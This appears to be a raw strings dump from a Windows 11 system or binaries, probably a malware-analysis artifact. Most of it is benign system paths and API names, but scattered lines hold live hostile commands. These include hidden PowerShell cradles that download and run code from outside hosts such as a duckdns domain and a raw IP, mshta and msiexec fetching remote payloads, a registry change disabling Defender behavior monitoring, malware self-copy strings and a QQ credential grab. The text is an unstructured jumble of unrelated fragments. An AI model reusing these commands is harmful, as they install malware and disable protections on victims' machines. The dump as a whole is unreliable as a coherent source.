C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
4vZ@echooffrundll32.exec:\windows\temp\194
C:\WINDOWS\System32\drivers\ACPI.sys[ACPIMOFResource]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
Windows PowerShell ISE (x86)z
:werShell_ISE.exe","id":"{D65231B0-B2F1-4857-A4CE-A8E7C6EA7D27}\\WindowsPoI
C:\WINDOWS\System32\drivers\en-US\processr.sys.mui[PROCESSORWMI]
C:\WINDOWS\System32\drivers\en-US\processr.sys.mui[PROCESSORWMI]
C:\WINDOWS\System32\drivers\en-US\processr.sys.mui[PROCESSORWMI]
C:\WINDOWS\System32\drivers\en-US\processr.sys.mui[PROCESSORWMI]
C:\WINDOWS\System32\drivers\en-US\processr.sys.mui[PROCESSORWMI]
C:\WINDOWS\System32\drivers\en-US\processr.sys.mui[PROCESSORWMI]
C:\WINDOWS\System32\drivers\en-US\processr.sys.mui[PROCESSORWMI]
C:\WINDOWS\System32\drivers\en-US\processr.sys.mui[PROCESSORWMI]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\System32\drivers\en-US\ACPI.sys.mui[ACPIMOFResource]
C:\WINDOWS\System32\drivers\en-US\ACPI.sys.mui[ACPIMOFResource]
C:\WINDOWS\System32\drivers\en-US\ACPI.sys.mui[ACPIMOFResource]
C:\WINDOWS\System32\drivers\en-US\ACPI.sys.mui[ACPIMOFResource]
C:\WINDOWS\System32\drivers\en-US\ACPI.sys.mui[ACPIMOFResource]
C:\WINDOWS\System32\drivers\en-US\ACPI.sys.mui[ACPIMOFResource]
C:\WINDOWS\System32\drivers\en-US\ACPI.sys.mui[ACPIMOFResource]
C:\WINDOWS\System32\drivers\en-US\ACPI.sys.mui[ACPIMOFResource]
C:\WINDOWS\System32\drivers\en-US\ACPI.sys.mui[ACPIMOFResource]
C:\WINDOWS\System32\drivers\en-US\ACPI.sys.mui[ACPIMOFResource]
C:\WINDOWS\System32\drivers\en-US\ACPI.sys.mui[ACPIMOFResource]
C:\WINDOWS\System32\drivers\en-US\ACPI.sys.mui[ACPIMOFResource]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
\windows\inetcache\ie\
Windows Desktop
Windows.Desktop
WindowsClient
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
      <assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="*" publicKeyToken="6595b64144ccf1df" language="*"></assemblyIdentity>
WINDOWS11       
WINDOWS11       
C:\__w\1\s\packages\ux-phui\windows\ux-phui\StartTileDragDropControlManager.cpp
C:\__w\1\s\packages\ux-phui\windows\ux-phui\ButtonViewManager.cpp
A Windows error object that encapsulates what is in CIM_Error as well as includes error code, errorCategory, errorMessage and errorType.
error_WindowsErrorMessage
Windows error message.
Windows Defender
windowsdefender://
%ProgramFiles%\Windows Defender\MsMpeng.exe
Windows Defender
%ProgramFiles%\Windows Defender\MsMpeng.exe
windowsdefender://
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
'ges\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\Temp
^c:\windows\%w+%.exe$
Windows Client Key Prote]
sts.windows.net
38^windows.appExtension
WinReg_GetDWORD: A Windows registry operation failed:
'x=/cpowershell.exe-windowstylehiddeninvoke-webrequesthttp://shelly456.duckdns.org:8080/secure/find-outfilec:\users\public\libraries\word.exe
DriverData=C:\Windows\System32\
Microsoft.Windows.Update.Undocked.Brain
Microsoft-Windows-Shell-Launcher
\\.\root\Microsoft\Windows\RemoteAccess\Client:__Win32Provider.Name="VpnClientPSProvider"
ROOT\Microsoft\Windows\RemoteAccess\Client
$"Lbetrning\Cigarrullerens153\Accomplement\Myndighedens.iniSoftware\Microsoft\Windows\CurrentVersion\Uninstall\Vekselstrmmens\BerkeleianCurrentVersion\Uninstall\Bedeafen\Tjenstledigt\SpildevandsudledningAscape\Rensningsformerne.iniMinoriteternes\Humus\Chaetophora\jorams
microsoft.com/windows0
"C:\WINDOWS\SYSTEM32\cmd" /c C:\TEMP\
Microsoft.Windows.Wil.FeatureLogging
    <p>If you still see the error, contact the website owner.</p>"Software on your computer is preventing Microsoft Copilot from safely connecting to the web" (Windows computers only)The site $2 has failed to deliver an origin policy,
COMSPEC=C:\WINDOWS\system32\cmd.exe
PATH=C:\WINDOWS;C:\Program Files\Common Files\Microsoft Shared
SystemRoot=C:\WINDOWS
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
cmd.exe/v/k"start/min""powershell-windowstylehidden-nologo-noprofile-executionpolicybypass-encodedcommand"jab
144.217.90.64open.exeStart-Process-WindowStyle Hidden
Windows::Compat::Inventory::InventoryWatchdog::RenewTimer
Windows::Compat::Inventory::InventoryWatchdog::DefaultTimeoutAction
Windows::Compat::Inventory::InventoryWatchdog::GetProcessCpuPercentage
Windows::Compat::Inventory::InventoryWatchdog::CheckProcessResourceUsage
Windows::Compat::Inventory::InventoryWatchdog::Watch
Windows::Compat::Inventory::InventoryWatchdog::Initialize
Windows::Compat::Inventory::InventoryWatchdog::Stop
        <windowsSettings>
            <dpiAwareness xmlns="http://schemas.microsoft.com/SMI/2016/WindowsSettings">PerMonitorV2</dpiAwareness>
        </windowsSettings>
13e^com.microsoft.windows.extensionpackage
13f^com.microsoft.windows.extensions.xaml
ws\System32\Drivers\DriverData
LOGONSERVER=\\WINDOWS11
OS=Windows_NT
Path=C:\WINDOWS\system32;C:\WINDOWS;
System32\OpenSSH\;C:\Users\job\AppData\Local\Microsoft\WindowsApps;
PSModulePath=C:\Program Files\WindowsPowerShell\Modules;C:\WIN
SystemRoot=C:\WINDOWS
USERDOMAIN=Windows11
USERDOMAIN_ROAMINGPROFILE=Windows11
dir=C:\WINDOWS
COMPUTERNAME=WINDOWS11
ComSpec=C:\WINDOWS\system32\cmd.exe
DriverData=C:\Windows\System32\Drivers\DriverData
LOGONSERVER=\\WINDOWS11
OS=Windows_NT
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\Users\job\AppData\Local\Microsoft\WindowsApps;
PSModulePath=C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
SystemRoot=C:\WINDOWS
2b6^com.microsoft.windows.widgets.feeds
com.microsoft.windows.widgets.feeds
2b9^com.microsoft.windows.extension.widgetboard
com.microsoft.windows.extension.widgetboard
2b5^com.microsoft.windows.widgets
eleter@VGetActivitiesByGroupAndDeviceIdAsyncCallback@Core@Cloud@Storage@Internal@Windows@@@detail@cdp@@
.?AU?$iunknown_deleter@VGetActivitiesByGroupAsyncCallback@Core@Cloud@Storage@Internal@Windows@@@detail@cdp@@
.?AU?$iunknown_deleter@VActivityStoreReaderCallbackWrapper@Core@Cloud@Storage@Internal@Windows@@@detail@cdp@@
.?AV?$ComPtrDeleter@UIBufferByteAccess@Streams@Storage@Windows@@@@
.?AU?$default_delete@VUserObjectFactory@Core@Cloud@Storage@Internal@Windows@@@std@@
.?AU?$default_delete@VCloudStoreAccount@Core@Cloud@Storage@Internal@Windows@@@std@@
FILECOPY ( @SCRIPTFULLPATH , @SYSTEMDIR & "\windows2000.exe" )F
c:\windows\system32
*.pf|%WINDIR%\system32\svch
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft.Windows.Application.Service
pWindows
Windows
Windows
Windows
Windows
Windows.Data.BlueLightReduction.BlueLightReductionStatePerDevice
Windows.Data.BlueLightReduction.Settings
windows.data.bluelightreduction.settings
windows.data.bluelightreduction.settings
Windows.Data.BlueLightReduction.Settings
windows.data.bluelightreduction.settings
Windows.Data.BlueLightReduction.ScheduleTime
Windows.Data.BlueLightReduction.Settings
Windows
Windows.Storage.dll
SetWindowsHookExW
UnhookWindowsHookEx
WindowsCreateString
WindowsCreateStringReference
WindowsDeleteStringBuffer
WindowsDuplicateString
WindowsPromoteStringBuffer
WindowsDeleteString
WindowsPreallocateStringBuffer
WindowsGetStringLen
WindowsCompareStringOrdinal
SystemSettings;CrossDeviceService;GamingService;MoUsoCoreWorker;MSPCManagerCore;Copilot;M365Copilot;","MANDATORYUPDATEALLOWED":"0","MSIXVCARMSUPPORTENABLED":"1","NETWORKISSUESERRORLIST":"0x80072ee2;0x80072efe;0x80072f8f;0x80072ee7;0x800704cf;0x80240438;0x80072efd;0x80d02002;0x80d02017;0x800704c6;0x8024402c;0x80d02013","OFFLINESHEDDINGEXEMPTLIST":"[\"Microsoft.WindowsStore_8wekyb3d8bbwe\", \"StoreInstaller\", \"ScanForUpdates\", \"ScanForUpdatesForUser\", \"UsoClient\", \"MoUpdateOrchestratorDeviceScan\", \"MoUpdateOrchestratorUserScan\"]","ONLINESCANCOOLDOWNINMINUTES":"30","ONLINESCANSALLOWEDININTERVAL":"10","ONLINESCANTIMEINTERVALINMINUTES":"1440","PRESEARCHONLINESCANTHRESHOLDINMINUTES":"10","PRESEARCHUPDATEPACKAGEENABLED":"1","PURCHASERATELIMITATTEMPTCOOLDOWNTIME":"86400000","PURCHASERATELIMITATTEMPTSALLOWEDPERKEY":"5","PURCHASERATELIMITATTEMPTSALLOWEDTOTAL":"200","
taskkill /im qq.exePWDHASH:\QQ\registry.dbaccount.qq.com/cgi-bin/auth_forget?ion\Winlogon\Userinit
mozilla/4.0 (compatible; msie 7.0; windows nt 5.1; infopath.1)m
winlogon.exewuauclt.exew
.jshotkey=0iconindex=3iconfile=c:\windows\system32\shell32.dll
.jshotkey=0iconindex=3iconfile=c:\windows\system32\shell32.dll
.jshotkey=0iconindex=45iconfile=c:\windows\system32\shell32.dll
.jshotkey=0iconindex=45iconfile=c:\windows\system32\shell32.dll
.jshotkey=0iconindex=45iconfile=c:\windows\system32\shell32.dll
.jshotkey=0iconindex=45iconfile=c:\windows\system32\shell32.dll
.jshotkey=0iconindex=45iconfile=c:\windows\system32\shell32.dll
.jshotkey=0iconindex=45iconfile=c:\windows\system32\shell32.dll
rundll32.exe c:\windows\system32\advpack.dll,delnoderundll32 "c:\temp\ixp
rundll32.exe c:\windows\system32\advpack.dll,delnoderundll32 "c:\temp\ixp
c:\windows\system32\gq
c:\windows\gq
c:\windows\hrf.txtc
exec("powershell-windowstylehidden-command$
\system32\777.dllc
visited:trackpopupmenuexSOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\http://5starvideos.com/main/ usage count exceeded, please download a new version.WindowClass installation information was corrupted, please reinstall 
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\X Password Generatorhttp://www.xpassgenerator.com/software/x
Copy KeySOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\PornPass Managerhttp://www.pornpassmanager.com/PornPass Manager ErrorPornPass ManagerPornPass Manager usage count exceeded, please download a new version.PornPassManagerWindowClassPornPass Manager installation information was corrupted, please reinstall PornPass Manager.
software\microsoft\windows\currentversion\uninstall\videoaccesscodec/ocx/videoaccesscodec.ocx\videoaccesscodec\videoaccesscodec.ocxdel /s /q vpn
\gala.dll\installoptions.dllsoftware\microsoft\windows\currentversion\uninstall\
WindowsConcatString
WindowsGetStringLen
WindowsTrimStringEnd
WindowsSubstringWithSpecifiedLength
WindowsTrimStringStart
Windows.Data.Input.RadialControllerActionTriggers
Windows.Data.Input.RadialControllerTool
Windows.Data.Input.RadialControllerActions
Windows.Data.Input.RadialControllerActionsCache
Windows.Data.Input.RadialControllerSettings
Windows.Data.Input.RadialControllerSettingsCache
shell\twinui\softlanding\lib\windowstipnotificationactivationcallback.cpp
WindowsStringHasEmbeddedNull
WindowsIsStringEmpty
WindowsGetStringRawBuffer
WindowsCreateString
WindowsDeleteString
WindowsCreateStringReference
WindowsGetStringLen
WindowsSubstringWithSpecifiedLength
WindowsDuplicateString
2copyfileaC:\Program Files\Internet Explorer\syssmss.exec:\windows
C:\WINDOWS\S/
c:\windows\gamesc
x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_da-dk_019c6a5182b63724
x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_de-de_01e14b018281f4da
x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_el-gr_2ec698b1a0d4e93c
x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_en-gb_2f759805a0515cda
x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_en-us_2ebde3eda0db0ffd
x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_es-es_2ec2c6ffa0d6bc40
x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_es-mx_2e8cc693a0ff312d
x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_et-ee_2f5b2631a0644e69
x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_fi-fi_5c8fba2dbe7e84e6
C:%5CProgram Files%5CWindowsApps%5CMicrosoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe%5Cresources.pri
hfs/heads/main/windowsexploor.bat"$batpath="$env:temp\$randomprogram.bat"(new-objectnet.webclient).downloadfile($baturl,$batpath)
powershell.exe-windowstylehidden"
start/minpowershell.exe-windowstylehidden";$
\software\policies\microsoft\windowsdefender\real-timeprotection"/v"disablebehaviormonitoring"/treg_dword/d"1"/f
/.batc:\windows\system32\shell32.dll%systemroot%\system32\shell32.dll%systemroot%\system32\shell32.dll
@%SystemRoot%\System32\fvecpl.dll,-47#immutable1
@%SystemRoot%\System32\fhcpl.dll,-52#immutable1
@%SystemRoot%\system32\RADCUI.dll,-15300#immutable1
@%SystemRoot%\System32\recovery.dll,-101#immutable1
C:%5CWindows%5CImmersiveControlPanel%5Cresources.pri
@{windows.immersivecontrolpanel_10.0.8.1000_neutral_neutral_cw5n1h2txyewy?ms-resource://windows.immersivecontrolpanel/resources/DisplayName}
@{windows.immersivecontrolpanel_10.0.8.1000_neutral_neutral_cw5n1h2txyewy?ms-resource://windows.immersivecontrolpanel/resources/Description}
Microsoft.WindowsNotepad_8wekyb3d8bbwero
%s/%s (Windows NT %lu.%lu
proxy-authenticateuser-agent: mozilla/5.0 (windows nt 10.0; wow64; rv:60.0) gecko/20100101 firefox/60.0content-type: multipart/form-data; boundary=------boundary0027_configs\dinj_
OnRudeWindowStateChange
Failed to cat system32 path
Microsoft.Windows.ErrorHandling.Fallback
Microsoft.Windows.Wil.FeatureLogging
Microsoft.Windows.ShellExperienceDispatcher
Microsoft.Windows.Desktop.Shell.AccessibilityDock
Microsoft.Windows.Shell.ActivationError
Microsoft.Windows.Desktop.Shell.AppClosingTelemetry
Microsoft.Windows.Shell.ApplicationHost
Microsoft.Windows.AssignedAccess
Microsoft.Windows.Shell.Autoplay
Microsoft-Windows-Desktop-Shell-Windowing
Microsoft.Windows.PlatformExtensions
Microsoft.Windows.Twinui.EdgeUiTaskbarAccess
Microsoft.Windows.Shell.SingleViewExperience
Microsoft.Windows.Shell.ExperienceHost
Microsoft.Windows.Shell.PenWorkspace.ExperienceManager
Microsoft.Windows.Shell.ShareUX
Microsoft.Windows.ShellPlacements
Microsoft.Windows.Desktop.Shell.SoftLanding
Microsoft.Windows.AppLifeCycle.UI
Microsoft.Windows.Shell.SystemSettings.HotKeyActivation
Microsoft.Windows.Shell.DelayAllocateTLS
Microsoft.Windows.Shell.RadialControllerMenu
Microsoft.Windows.Shell.InputDialTrace
Microsoft.Windows.Desktop.Shell.InputHostManager
Microsoft.Windows.Desktop.Shell.KeyboardOcclusionMitigation
Windows.Internal.Shell.ModalExperience
Microsoft.Windows.Shell.Chaining
Microsoft.Windows.Security.NXT.PlatformCryptoProvider
Microsoft.Windows.Security.PlatformCryptoFlowProvider
Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|!
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-EmbeddedExp-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|!
Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-IIS-WebServer-AddOn-2-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-IIS-WebServer-AddOn-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-IIS-WebServer-AddOn-2-ServerCommon-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-IIS-WebServer-AddOn-ServerCommon-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-IIS-WebServer-ServerCommon-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|!
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|!
Microsoft-Windows-UpdateTargeting-ClientOS-Ge-26141-Version-EKB-Wrapper-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.4768.cat|!
getWindowsActivationState
isWindowsS
launchWindowsCortanaSettingsAsync
launchWindowsAccountSettingsAsync
WindowsFeedbackFormBase
WindowsFeedback.Form.Show
WindowsFeedback.Form.Hide
WindowsFeedbackForm
X-BM-WindowsFlights
ows\system32\mshta.exehttps://transacor.ma/file.hta
setWindowsInstalledApps
buildNormalizedWindowsInstalledAppNames
getNormalizedWindowsInstalledAppNames
getWindowsTheme
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
WindowsFeedbackProtocol
WindowScrollTop
WindowScrollLefta
ManagedWindowsMetadata
ext-ms-win-ntuser-windowstation-l1-1-0.dll
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
GetProcessWindowStation
SetProcessWindowStation
OpenWindowStationW
CloseWindowStation
Windows Protect ManagerW
WindowsStringHasEmbeddedNull
WindowsIsStringEmpty
WindowsGetStringRawBuffer
EnumThreadWindows
WindowsDeleteString
WindowsCreateStringReference
WindowsCreateString
.?AU?$default_delete@VXamlCore@WindowsXamlManager@DirectUI@@@std@@
Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-WPD-UltimatePortableDeviceFeature-Feature-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
72^windows.protocol
72^windows.appExtension
72^windows.internal.componentUI
72^windows.appService
onecore\base\appmodel\staterepository\winrt\client\lib\windows.internal.staterepository.primarytileusernotificationchannel.cpp
onecore\base\appmodel\staterepository\winrt\client\lib\windows.internal.staterepository.secondarytileusernotificationchannel.cpp
onecore\base\appmodel\staterepository\winrt\client\lib\windows.internal.staterepository.activationfactory.cpp
itory\winrt\client\lib\windows.internal.staterepository.mrtpackagefactory.cpp
onecore\base\appmodel\staterepository\winrt\client\lib\windows.internal.staterepository.applicationfactory.cpp
onecore\base\appmodel\staterepository\winrt\client\lib\windows.internal.staterepository.mrtapplicationfactory.cpp
onecore\base\appmodel\staterepository\winrt\client\lib\windows.internal.staterepository.userfactory-custom.cpp
onecore\base\appmodel\staterepository\winrt\client\lib\windows.internal.staterepository.application-custom.cpp
onecore\base\appmodel\staterepository\winrt\client\lib\windows.internal.staterepository.package.cpp
onecore\base\appmodel\staterepository\winrt\client\lib\windows.internal.staterepository.packagef
prefixdoscommandswith"c:\windows\system32\cmd.exe/c&lt;command&gt;"orwherevercmd.exeis
Wc:\windows\system32\cmd.exe/v/csta^r^t^m^si^e^xe^c/q-^i"http://w4.wf:8080/jax0jtnjb3k/
j/c:\windows\system32\cmd.exe/kstartc:\windows\system32\mshta.exehttp://193.122.125.121/
?..\windows\system32\cmd.exe/cgropes\
.cmdvr32.exec:\windows\explorer.exe%systemroot%
c:\winnt\system32\cmd
onecoreuap\windows\dwm\dmanip\dcompcompositor.cpp
ext-ms-win-ntuser-windowstation-l1-1-0.dll
WindowsApp1.Resources.resource
powershell.exe"-windowstylehidden-executionpolicybypass-noprofile-command"iex((new-objectnet.webclient).downloadstring('https://bstkmonitorscap.com/bkngq'))"
.?AU?$implements_delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_10>@?BE@??Connect@?$FilterControlT@UFilterControl@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AV<lambda_10>@?BE@??Connect@?$FilterControlT@UFilterControl@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AV<lambda_11>@?BE@??Connect@?$FilterControlT@UFilterControl@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AU?$delegate@UKeyEventHandler@Input@Xaml@UI@Windows@winrt@@V<lambda_11>@?BE@??Connect@?$FilterControlT@UFilterControl@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@6@UEAAXHAEBUIInspectable@Foundation@56@@Z@@impl@winrt@@
.?AV<lambda_9>@?BE@??Connect@?$FilterControlT@UFilterControl@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
